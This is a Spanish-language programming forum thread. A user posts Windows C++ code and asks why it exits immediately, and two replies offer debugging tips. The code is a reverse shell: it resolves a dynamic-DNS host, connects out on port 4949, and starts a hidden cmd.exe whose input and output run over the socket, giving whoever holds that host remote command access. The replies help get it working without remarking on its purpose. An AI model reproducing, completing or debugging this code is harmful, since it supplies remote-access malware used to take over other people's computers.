Necesito ayuda con este codigo.
Traté de usar gethostbyname() para resolver a una ip, y al parecer compila pero se cierra imediatamente
#include <winsock2.h>
#include <stdio.h>
#define h_addr h_addr_list[0]
#include <string>
#include <iostream>

int main(int argc, char *argv[])
{

        /*
        argv[1] = "synth3tik0.redirectme.net";
        char* ip = argv[1];
        // using gethostbyaddr()
        hostent * phe = gethostbyaddr(ip, strlen(ip), AF_INET);

        */


        std::string str = "synth3tik0.redirectme.net";
        const char * c = str.c_str();

        struct hostent *phe = gethostbyname(c);

        std::string miIP = phe->h_addr;
        const char *IP = miIP.c_str();


        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;

        struct sockaddr_in adik_sin;

        memset(&adik_sin,0,sizeof(adik_sin));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);


        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);

        adik_sin.sin_family = AF_INET;
        adik_sin.sin_port = htons(4949);
        adik_sin.sin_addr.s_addr = inet_addr(IP);//.s_addr = inet_addr("127.0.0.1");

        connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
        si.cb = sizeof(si);


        //si.dwFlags = STARTF_USESTDHANDLES;
		si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;//
		si.wShowWindow = SW_HIDE;//
		si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);



}
que puede ser? deberia encerrar en bloque try ? con que exception?
Imagen
Tienes un ExitProcess al llegar a esa linea se cierra el proceso...
Intenta mostrar en pantalla el contenido de gethostbyname(), y al final en lugar del ExitProcess el System("Pause")
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
Usa la API MessageBoxA(...) para mostrar tu cadena. eso debería interrumpir efectivamente el flujo de tu programa esperando el clic en 'aceptar'. Si de todos modos se cierra, es evidente que no está llegando a la llamada a MessageBoxA();.
(MD5 checksum error.)
Responder

Volver a “C/C++”